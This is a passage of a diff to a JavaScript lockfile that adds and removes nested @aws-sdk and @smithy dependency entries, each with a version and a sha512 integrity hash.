"@aws-sdk/client-bedrock-agent-runtime/@smithy/middleware-retry/@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1" } }, "sha512-fdWuhEx4+jHLGeew9/IvqVU/fxT/ot70tpRGuOLxE3HzZOyKeTQfYeV1oaBXpzi93WOk668hjMuuagJ2/Qs7ng=="],
+ "@aws-sdk/client-bedrock-agent-runtime/@smithy/middleware-retry/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
+
"@aws-sdk/client-bedrock-agent-runtime/@smithy/node-config-provider/@smithy/property-provider": ["@smithy/property-provider@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-g2DHo08IhxV5GdY3Cpt/jr0mkTlAD39EJKN27Jb5N8Fb5qt8KG39wVKTXiTRCmHHou7lbXR8nKVU14/aRUf86w=="],
"@aws-sdk/client-bedrock-agent-runtime/@smithy/node-config-provider/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-y5ozxeQ9omVjbnJo9dtTsdXj9BEvGx2X8xvRgKnV+/7wLBuYJQL6dOa/qMY6omyHi7yjt1OA97jZLoVRYi8lxA=="],
@@ -6349,62 +6621,6 @@
"@aws-sdk/client-bedrock-agent-runtime/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@aws-sdk/xml-builder": ["@aws-sdk/xml-builder@3.930.0", "", { "dependencies": { "@smithy/types": "^4.9.0", "fast-xml-parser": "5.2.5", "tslib": "^2.6.2" } }, "sha512-YIfkD17GocxdmlUVc3ia52QhcWuRIUJonbF8A2CYfcWNV3HzvAqpcPeC0bYUhkK+8e8YO1ARnLKZQE0TlwzorA=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@smithy/property-provider": ["@smithy/property-provider@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-a/tGSLPtaia2krbRdwR4xbZKO8lU67DjMk/jfY4QKt4PRlKML+2tL/gmAuhNdFDioO6wOq0sXkfnddNFH9mNUA=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.6", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.6", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-P1TXDHuQMadTMTOBv4oElZMURU4uyEhxhHfn+qOc2iofW9Rd4sZtBGx58Lzk112rIGVEYZT8eUMK4NftpewpRA=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env": ["@aws-sdk/credential-provider-env@3.947.0", "", { "dependencies": { "@aws-sdk/core": "3.947.0", "@aws-sdk/types": "3.936.0", "@smithy/property-provider": "^4.2.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-VR2V6dRELmzwAsCpK4GqxUi6UW5WNhAXS9F9AzWi5jvijwJo3nH92YNJUP4quMpgFZxJHEWyXLWgPjh9u0zYOA=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http": ["@aws-sdk/credential-provider-http@3.947.0", "", { "dependencies": { "@aws-sdk/core": "3.947.0", "@aws-sdk/types": "3.936.0", "@smithy/fetch-http-handler": "^5.3.6", "@smithy/node-http-handler": "^4.4.5", "@smithy/property-provider": "^4.2.5", "@smithy/protocol-http": "^5.3.5", "@smithy/smithy-client": "^4.9.10", "@smithy/types": "^4.9.0", "@smithy/util-stream": "^4.5.6", "tslib": "^2.6.2" } }, "sha512-inF09lh9SlHj63Vmr5d+LmwPXZc2IbK8lAruhOr3KLsZAIHEgHgGPXWDC2ukTEMzg0pkexQ6FOhXXad6klK4RA=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini": ["@aws-sdk/credential-provider-ini@3.952.0", "", { "dependencies": { "@aws-sdk/core": "3.947.0", "@aws-sdk/credential-provider-env": "3.947.0", "@aws-sdk/credential-provider-http": "3.947.0", "@aws-sdk/credential-provider-login": "3.952.0", "@aws-sdk/credential-provider-process": "3.947.0", "@aws-sdk/credential-provider-sso": "3.952.0", "@aws-sdk/credential-provider-web-identity": "3.952.0", "@aws-sdk/nested-clients": "3.952.0", "@aws-sdk/types": "3.936.0", "@smithy/credential-provider-imds": "^4.2.5", "@smithy/property-provider": "^4.2.5", "@smithy/shared-ini-file-loader": "^4.4.0", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-N5B15SwzMkZ8/LLopNksTlPEWWZn5tbafZAUfMY5Xde4rSHGWmv5H/ws2M3P8L0X77E2wKnOJsNmu+GsArBreQ=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process": ["@aws-sdk/credential-provider-process@3.947.0", "", { "dependencies": { "@aws-sdk/core": "3.947.0", "@aws-sdk/types": "3.936.0", "@smithy/property-provider": "^4.2.5", "@smithy/shared-ini-file-loader": "^4.4.0", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-WpanFbHe08SP1hAJNeDdBDVz9SGgMu/gc0XJ9u3uNpW99nKZjDpvPRAdW7WLA4K6essMjxWkguIGNOpij6Do2Q=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso": ["@aws-sdk/credential-provider-sso@3.952.0", "", { "dependencies": { "@aws-sdk/client-sso": "3.948.0", "@aws-sdk/core": "3.947.0", "@aws-sdk/token-providers": "3.952.0", "@aws-sdk/types": "3.936.0", "@smithy/property-provider": "^4.2.5", "@smithy/shared-ini-file-loader": "^4.4.0", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-1CQdP5RzxeXuEfytbAD5TgreY1c9OacjtCdO8+n9m05tpzBABoNBof0hcjzw1dtrWFH7deyUgfwCl1TAN3yBWQ=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity": ["@aws-sdk/credential-provider-web-identity@3.952.0", "", { "dependencies": { "@aws-sdk/core": "3.947.0", "@aws-sdk/nested-clients": "3.952.0", "@aws-sdk/types": "3.936.0", "@smithy/property-provider": "^4.2.5", "@smithy/shared-ini-file-loader": "^4.4.0", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-5hJbfaZdHDAP8JlwplNbXJAat9Vv7L0AbTZzkbPIgjHhC3vrMf5r3a6I1HWFp5i5pXo7J45xyuf5uQGZJxJlCg=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@smithy/credential-provider-imds": ["@smithy/credential-provider-imds@4.2.6", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.6", "@smithy/property-provider": "^4.2.6", "@smithy/types": "^4.10.0", "@smithy/url-parser": "^4.2.6", "tslib": "^2.6.2" } }, "sha512-xBmawExyTzOjbhzkZwg+vVm/khg28kG+rj2sbGlULjFd1jI70sv/cbpaR0Ev4Yfd6CpDUDRMe64cTqR//wAOyA=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@smithy/property-provider": ["@smithy/property-provider@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-a/tGSLPtaia2krbRdwR4xbZKO8lU67DjMk/jfY4QKt4PRlKML+2tL/gmAuhNdFDioO6wOq0sXkfnddNFH9mNUA=="],
-
- "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.4.1", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-tph+oQYPbpN6NamF030hx1gb5YN2Plog+GLaRHpoEDwp8+ZPG26rIJvStG9hkWzN2HBn3HcWg0sHeB0tmkYzqA=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/config-resolver/@smithy/util-config-provider": ["@smithy/util-config-provider@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-YEjpl6XJ36FTKmD+kRJJWYvrHeUvm5ykaUS5xK+6oXffQPHeEM4/nXlZPe+Wu0lsgRUcNZiliYNh/y7q9c2y6Q=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-browser/@smithy/eventstream-serde-universal": ["@smithy/eventstream-serde-universal@4.2.6", "", { "dependencies": { "@smithy/eventstream-codec": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-olIfZ230B64TvPD6b0tPvrEp2eB0FkyL3KvDlqF4RVmIc/kn3orzXnV6DTQdOOW5UU+M5zKY3/BU47X420/oPw=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-node/@smithy/eventstream-serde-universal": ["@smithy/eventstream-serde-universal@4.2.6", "", { "dependencies": { "@smithy/eventstream-codec": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-olIfZ230B64TvPD6b0tPvrEp2eB0FkyL3KvDlqF4RVmIc/kn3orzXnV6DTQdOOW5UU+M5zKY3/BU47X420/oPw=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/hash-node/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/middleware-endpoint/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.4.1", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-tph+oQYPbpN6NamF030hx1gb5YN2Plog+GLaRHpoEDwp8+ZPG26rIJvStG9hkWzN2HBn3HcWg0sHeB0tmkYzqA=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/middleware-retry/@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0" } }, "sha512-Q73XBrzJlGTut2nf5RglSntHKgAG0+KiTJdO5QQblLfr4TdliGwIAha1iZIjwisc3rA5ulzqwwsYC6xrclxVQg=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/node-config-provider/@smithy/property-provider": ["@smithy/property-provider@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-a/tGSLPtaia2krbRdwR4xbZKO8lU67DjMk/jfY4QKt4PRlKML+2tL/gmAuhNdFDioO6wOq0sXkfnddNFH9mNUA=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/node-config-provider/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.4.1", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-tph+oQYPbpN6NamF030hx1gb5YN2Plog+GLaRHpoEDwp8+ZPG26rIJvStG9hkWzN2HBn3HcWg0sHeB0tmkYzqA=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/url-parser/@smithy/querystring-parser": ["@smithy/querystring-parser@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-YmWxl32SQRw/kIRccSOxzS/Ib8/b5/f9ex0r5PR40jRJg8X1wgM3KrR2In+8zvOGVhRSXgvyQpw9yOSlmfmSnA=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/util-base64/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/util-defaults-mode-browser/@smithy/property-provider": ["@smithy/property-provider@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-a/tGSLPtaia2krbRdwR4xbZKO8lU67DjMk/jfY4QKt4PRlKML+2tL/gmAuhNdFDioO6wOq0sXkfnddNFH9mNUA=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/util-defaults-mode-node/@smithy/credential-provider-imds": ["@smithy/credential-provider-imds@4.2.6", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.6", "@smithy/property-provider": "^4.2.6", "@smithy/types": "^4.10.0", "@smithy/url-parser": "^4.2.6", "tslib": "^2.6.2" } }, "sha512-xBmawExyTzOjbhzkZwg+vVm/khg28kG+rj2sbGlULjFd1jI70sv/cbpaR0Ev4Yfd6CpDUDRMe64cTqR//wAOyA=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/util-defaults-mode-node/@smithy/property-provider": ["@smithy/property-provider@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-a/tGSLPtaia2krbRdwR4xbZKO8lU67DjMk/jfY4QKt4PRlKML+2tL/gmAuhNdFDioO6wOq0sXkfnddNFH9mNUA=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/util-retry/@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0" } }, "sha512-Q73XBrzJlGTut2nf5RglSntHKgAG0+KiTJdO5QQblLfr4TdliGwIAha1iZIjwisc3rA5ulzqwwsYC6xrclxVQg=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
-
- "@aws-sdk/client-bedrock-runtime/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
-
"@aws-sdk/client-cognito-identity/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@4.1.0", "", { "dependencies": { "@smithy/is-array-buffer": "^3.0.0", "@smithy/protocol-http": "^4.1.0", "@smithy/types": "^3.3.0", "@smithy/util-hex-encoding": "^3.0.0", "@smithy/util-middleware": "^3.0.3", "@smithy/util-uri-escape": "^3.0.0", "@smithy/util-utf8": "^3.0.0", "tslib": "^2.6.2" } }, "sha512-aRryp2XNZeRcOtuJoxjydO6QTaVhxx/vjaR+gx7ZjaFgrgPRyZ3HCTbfwqYj6ZWEBHkCSUfcaymKPURaByukag=="],
"@aws-sdk/client-cognito-identity/@aws-sdk/credential-provider-node/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@3.1.4", "", { "dependencies": { "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-qMxS4hBGB8FY2GQqshcRUy1K6k8aBWP5vwm8qKkCT3A9K2dawUwOIJfqh9Yste/Bl0J2lzosVyrXDj68kLcHXQ=="],
@@ -6443,6 +6659,8 @@
"@aws-sdk/client-kendra/@aws-sdk/core/@smithy/property-provider": ["@smithy/property-provider@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-g2DHo08IhxV5GdY3Cpt/jr0mkTlAD39EJKN27Jb5N8Fb5qt8KG39wVKTXiTRCmHHou7lbXR8nKVU14/aRUf86w=="],
+ "@aws-sdk/client-kendra/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="],
+
"@aws-sdk/client-kendra/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env": ["@aws-sdk/credential-provider-env@3.927.0", "", { "dependencies": { "@aws-sdk/core": "3.927.0", "@aws-sdk/types": "3.922.0", "@smithy/property-provider": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-bAllBpmaWINpf0brXQWh/hjkBctapknZPYb3FJRlBHytEGHi7TpgqBXi8riT0tc6RVWChhnw58rQz22acOmBuw=="],
"@aws-sdk/client-kendra/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http": ["@aws-sdk/credential-provider-http@3.927.0", "", { "dependencies": { "@aws-sdk/core": "3.927.0", "@aws-sdk/types": "3.922.0", "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/property-provider": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/smithy-client": "^4.9.2", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-jEvb8C7tuRBFhe8vZY9vm9z6UQnbP85IMEt3Qiz0dxAd341Hgu0lOzMv5mSKQ5yBnTLq+t3FPKgD9tIiHLqxSQ=="],
@@ -6499,10 +6717,6 @@
"@aws-sdk/client-kendra/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@aws-sdk/client-s3/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-fiUIYgIgRjMWznk6iLJz35K2YxSLHzLBA/RC6lBrKfQ8fHbPfvk7Pk9UvpKoHgJjI18MnbPuEju53zcVy6KF1g=="],
-
- "@aws-sdk/client-s3/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
-
"@aws-sdk/client-sso-oidc/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@4.1.0", "", { "dependencies": { "@smithy/is-array-buffer": "^3.0.0", "@smithy/protocol-http": "^4.1.0", "@smithy/types": "^3.3.0", "@smithy/util-hex-encoding": "^3.0.0", "@smithy/util-middleware": "^3.0.3", "@smithy/util-uri-escape": "^3.0.0", "@smithy/util-utf8": "^3.0.0", "tslib": "^2.6.2" } }, "sha512-aRryp2XNZeRcOtuJoxjydO6QTaVhxx/vjaR+gx7ZjaFgrgPRyZ3HCTbfwqYj6ZWEBHkCSUfcaymKPURaByukag=="],
"@aws-sdk/client-sso-oidc/@aws-sdk/credential-provider-node/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@3.1.4", "", { "dependencies": { "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-qMxS4hBGB8FY2GQqshcRUy1K6k8aBWP5vwm8qKkCT3A9K2dawUwOIJfqh9Yste/Bl0J2lzosVyrXDj68kLcHXQ=="],
@@ -6589,104 +6803,46 @@
"@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-utf8": ["@smithy/util-utf8@3.0.0", "", { "dependencies": { "@smithy/util-buffer-from": "^3.0.0", "tslib": "^2.6.2" } }, "sha512-rUeT12bxFnplYDe815GXbq/oixEGHfRFFtcTF3YdDi/JaENIM6aSYYLJydG83UNzLXeRI5K8abYd/8Sp/QM0kA=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@aws-sdk/xml-builder": ["@aws-sdk/xml-builder@3.930.0", "", { "dependencies": { "@smithy/types": "^4.9.0", "fast-xml-parser": "5.2.5", "tslib": "^2.6.2" } }, "sha512-YIfkD17GocxdmlUVc3ia52QhcWuRIUJonbF8A2CYfcWNV3HzvAqpcPeC0bYUhkK+8e8YO1ARnLKZQE0TlwzorA=="],
-
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/core": ["@smithy/core@3.19.0", "", { "dependencies": { "@smithy/middleware-serde": "^4.2.7", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-middleware": "^4.2.6", "@smithy/util-stream": "^4.5.7", "@smithy/util-utf8": "^4.2.0", "@smithy/uuid": "^1.1.0", "tslib": "^2.6.2" } }, "sha512-Y9oHXpBcXQgYHOcAEmxjkDilUbSTkgKjoHYed3WaYUH8jngq8lPWDBSpjHblJ9uOgBdy5mh3pzebrScDdYr29w=="],
-
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.6", "", { "dependencies": { "@smithy/property-provider": "^4.2.6", "@smithy/shared-ini-file-loader": "^4.4.1", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-fYEyL59Qe82Ha1p97YQTMEQPJYmBS+ux76foqluaTVWoG9Px5J53w6NvXZNE3wP7lIicLDF7Vj1Em18XTX7fsA=="],
-
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.6", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.6", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-P1TXDHuQMadTMTOBv4oElZMURU4uyEhxhHfn+qOc2iofW9Rd4sZtBGx58Lzk112rIGVEYZT8eUMK4NftpewpRA=="],
-
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/smithy-client": ["@smithy/smithy-client@4.10.1", "", { "dependencies": { "@smithy/core": "^3.19.0", "@smithy/middleware-endpoint": "^4.4.0", "@smithy/middleware-stack": "^4.2.6", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-stream": "^4.5.7", "tslib": "^2.6.2" } }, "sha512-1ovWdxzYprhq+mWqiGZlt3kF69LJthuQcfY9BIyHx9MywTFKzFapluku1QXoaBB43GCsLDxNqS+1v30ure69AA=="],
-
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
-
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/util-middleware": ["@smithy/util-middleware@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qrvXUkxBSAFomM3/OEMuDVwjh4wtqK8D2uDZPShzIqOylPst6gor2Cdp6+XrH4dyksAWq/bE2aSDYBTTnj0Rxg=="],
-
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
-
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/node-http-handler": ["@smithy/node-http-handler@4.0.3", "", { "dependencies": { "@smithy/abort-controller": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dYCLeINNbYdvmMLtW0VdhW1biXt+PPCGazzT5ZjKw46mOtdgToQEwjqZSS9/EN8+tNs/RO0cEWG044+YZs97aA=="],
-
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients": ["@aws-sdk/nested-clients@3.758.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.758.0", "@aws-sdk/middleware-host-header": "3.734.0", "@aws-sdk/middleware-logger": "3.734.0", "@aws-sdk/middleware-recursion-detection": "3.734.0", "@aws-sdk/middleware-user-agent": "3.758.0", "@aws-sdk/region-config-resolver": "3.734.0", "@aws-sdk/types": "3.734.0", "@aws-sdk/util-endpoints": "3.743.0", "@aws-sdk/util-user-agent-browser": "3.734.0", "@aws-sdk/util-user-agent-node": "3.758.0", "@smithy/config-resolver": "^4.0.1", "@smithy/core": "^3.1.5", "@smithy/fetch-http-handler": "^5.0.1", "@smithy/hash-node": "^4.0.1", "@smithy/invalid-dependency": "^4.0.1", "@smithy/middleware-content-length": "^4.0.1", "@smithy/middleware-endpoint": "^4.0.6", "@smithy/middleware-retry": "^4.0.7", "@smithy/middleware-serde": "^4.0.2", "@smithy/middleware-stack": "^4.0.1", "@smithy/node-config-provider": "^4.0.1", "@smithy/node-http-handler": "^4.0.3", "@smithy/protocol-http": "^5.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "@smithy/url-parser": "^4.0.1", "@smithy/util-base64": "^4.0.0", "@smithy/util-body-length-browser": "^4.0.0", "@smithy/util-body-length-node": "^4.0.0", "@smithy/util-defaults-mode-browser": "^4.0.7", "@smithy/util-defaults-mode-node": "^4.0.7", "@smithy/util-endpoints": "^3.0.1", "@smithy/util-middleware": "^4.0.1", "@smithy/util-retry": "^4.0.1", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-YZ5s7PSvyF3Mt2h1EQulCG93uybprNGbBkPmVuy/HMMfbFTt4iL3SbKjxqvOZelm86epFfj7pvK7FliI2WOEcg=="],
-
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso": ["@aws-sdk/client-sso@3.758.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.758.0", "@aws-sdk/middleware-host-header": "3.734.0", "@aws-sdk/middleware-logger": "3.734.0", "@aws-sdk/middleware-recursion-detection": "3.734.0", "@aws-sdk/middleware-user-agent": "3.758.0", "@aws-sdk/region-config-resolver": "3.734.0", "@aws-sdk/types": "3.734.0", "@aws-sdk/util-endpoints": "3.743.0", "@aws-sdk/util-user-agent-browser": "3.734.0", "@aws-sdk/util-user-agent-node": "3.758.0", "@smithy/config-resolver": "^4.0.1", "@smithy/core": "^3.1.5", "@smithy/fetch-http-handler": "^5.0.1", "@smithy/hash-node": "^4.0.1", "@smithy/invalid-dependency": "^4.0.1", "@smithy/middleware-content-length": "^4.0.1", "@smithy/middleware-endpoint": "^4.0.6", "@smithy/middleware-retry": "^4.0.7", "@smithy/middleware-serde": "^4.0.2", "@smithy/middleware-stack": "^4.0.1", "@smithy/node-config-provider": "^4.0.1", "@smithy/node-http-handler": "^4.0.3", "@smithy/protocol-http": "^5.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "@smithy/url-parser": "^4.0.1", "@smithy/util-base64": "^4.0.0", "@smithy/util-body-length-browser": "^4.0.0", "@smithy/util-body-length-node": "^4.0.0", "@smithy/util-defaults-mode-browser": "^4.0.7", "@smithy/util-defaults-mode-node": "^4.0.7", "@smithy/util-endpoints": "^3.0.1", "@smithy/util-middleware": "^4.0.1", "@smithy/util-retry": "^4.0.1", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, 